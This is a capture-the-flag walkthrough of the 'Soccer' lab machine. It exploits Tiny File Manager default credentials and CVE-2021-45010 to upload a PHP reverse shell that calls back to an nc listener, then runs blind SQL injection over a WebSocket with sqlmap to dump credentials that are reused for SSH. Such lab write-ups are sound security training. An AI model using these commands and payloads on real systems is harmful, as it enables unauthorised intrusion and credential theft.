Soccer
A Tiny File Manager instance left on shipped default credentials allows uploading a PHP reverse shell for a www-data foothold; a hidden vhost validates tickets over a WebSocket vulnerable to blind SQL injection, and sqlmap dumps reusable SSH credentials for the user flag.
Overview
Soccer is an easy-difficulty Linux box. The foothold is a Tiny File Manager (v2.4.3) still running its shipped default credentials, which permits uploading an executable PHP reverse shell (CVE-2021-45010) for a www-data shell. Enumerating Nginx reveals a second vhost whose ticket-checker talks to a WebSocket vulnerable to blind SQL injection; sqlmap drives that WebSocket directly and dumps a credential pair that is reused for SSH. This post covers recon through the user flag.
Machine Matrix
Enumeration-driven easy box (dir brute, vhost discovery in nginx config) chaining default creds, file-upload RCE, and a blind WebSocket SQLi that sqlmap automates; CVE-2021-45010 is incidental, real-world web techniques dominate.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH 8.2p1 | Ubuntu |
| 80/tcp | Nginx 1.18.0 | redirects to soccer.htb |
| 9091/tcp | unknown (xmltec-xmlmail?) | WebSocket service |
1
2
nmap -p- --min-rate=1000 -T4 10.10.10.10
nmap -p22,80,9091 -sC -sV 10.10.10.10
Port 80 redirects to soccer.htb, so add it to /etc/hosts:
1
echo "10.10.10.10 soccer.htb" | sudo tee -a /etc/hosts
The site is a static page with no real functionality, so brute-force directories:
1
gobuster dir -u http://soccer.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
That returns /tiny — a login panel for H3K Tiny File Manager.
Enumeration
Tiny File Manager ships with hard-coded default credentials published in its GitHub repo. The defaults admin:admin@123 log straight in. The dashboard footer also reveals the version: 2.4.3, which is <= 2.4.6 and therefore affected by CVE-2021-45010 — an authenticated arbitrary file upload allowing PHP code execution.
Inside the tiny folder there is an uploads/ directory with 0757 permissions (world-writable) living under the web root at /var/www/html/tiny/uploads.
Foothold
1 — Upload a PHP reverse shell. Because uploads/ is writable and served by PHP-FPM, a .php file dropped there will execute. Edit a PHP reverse shell with your tun0 IP and listener port, then upload it through the Tiny File Manager Upload button into tiny/uploads.
1
2
3
cp /usr/share/webshells/php/php-reverse-shell.php /tmp/shell.php
# edit $ip and $port, then upload shell.php via the dashboard
nc -lnvp 4444
Browsing to http://soccer.htb/tiny/uploads/shell.php triggers it, returning a shell as www-data.
2 — Find the hidden vhost. Enumerating the filesystem as www-data is unremarkable, but since the app runs on Nginx, the sites-enabled directory is worth a look:
1
2
ls -al /etc/nginx/sites-enabled
# soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
That exposes a subdomain not seen during initial recon. Add it to /etc/hosts:
1
echo "10.10.10.10 soc-player.soccer.htb" | sudo tee -a /etc/hosts
The soc-player.soccer.htb site adds Login/Signup. Registering a new account unlocks a /check ticket page. Its source shows the ticket check is performed over a WebSocket:
1
2
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
// sends { "id": <ticket> } on keypress, replies "Ticket Exists" / "Ticket Doesn't Exist"
3 — Blind SQL injection over the WebSocket. Replaying the request in Burp Repeater, arithmetic on the id changes nothing, but {"id":"4444 OR 1=1"} flips the reply to Ticket Exists — the value is concatenated into a SQL query and only a binary exists/doesn’t-exist signal is returned. That is a blind SQL injection. sqlmap can speak ws:// directly:
1
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --dbs --threads 10 --level 5 --risk 3 --batch
It confirms boolean- and time-based blind injection against MySQL and lists soccer_db among the databases. Dump it:
1
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --threads 10 -D soccer_db --dump --batch
The accounts table holds a single row: player:PlayerOftheMatch2022.
User flag
The dumped password is reused for the system player account over SSH:
1
2
3
ssh [email protected]
# password: PlayerOftheMatch2022
cat /home/player/user.txt # [redacted]
A shell as player and the user flag are ours.
Privilege escalation (a doas-permitted dstat with a writable plugin path) is left as an exercise — this post stops at user.